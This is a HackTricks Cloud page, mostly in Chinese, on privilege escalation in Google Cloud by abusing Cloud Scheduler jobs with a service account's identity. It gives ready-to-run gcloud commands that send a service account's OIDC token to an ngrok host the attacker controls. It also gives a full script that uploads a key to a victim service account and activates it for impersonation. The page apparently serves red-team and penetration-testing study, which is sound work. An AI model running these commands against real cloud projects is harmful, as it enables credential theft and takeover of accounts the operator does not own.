GCP - Cloud Scheduler Privesc

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 @hacktricks_live** 上关注我们。**

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

Cloud Scheduler

更多信息请参见：

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

拥有这些权限的攻击者可以利用 Cloud Scheduler 以特定服务账户的身份进行身份验证的 cron 作业。通过构造 HTTP POST 请求，攻击者可以安排操作，例如创建存储桶，以在服务账户的身份下执行。此方法利用了 调度程序针对 *.googleapis.com 端点的能力和身份验证请求，允许攻击者使用简单的 gcloud 命令直接操纵 Google API 端点。

• 通过 googleapis.com 联系任何 Google API，使用 OAuth 令牌头

创建一个新的存储桶：

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email [e-mail] --headers "Content-Type=application/json" --location us-central1

要提升权限，攻击者只需构造一个针对所需 API 的 HTTP 请求，冒充指定的服务账户

• 提取 OIDC 服务账户令牌

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email [e-mail] [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

如果您需要检查 HTTP 响应，您可以查看执行的日志。

cloudscheduler.jobs.update , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

与之前的场景一样，可以更新已创建的调度程序以窃取令牌或执行操作。例如：

gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email [e-mail] [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

另一个例子是将私钥上传到服务账户并冒充它：

# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"

# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem

# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

# Wait 1 min
sleep 60

# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json

## If any  '"status": 200'  it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400

# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')

## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json,
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
EOF

# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json

参考文献

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 @hacktricks_live** 上关注我们。**

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。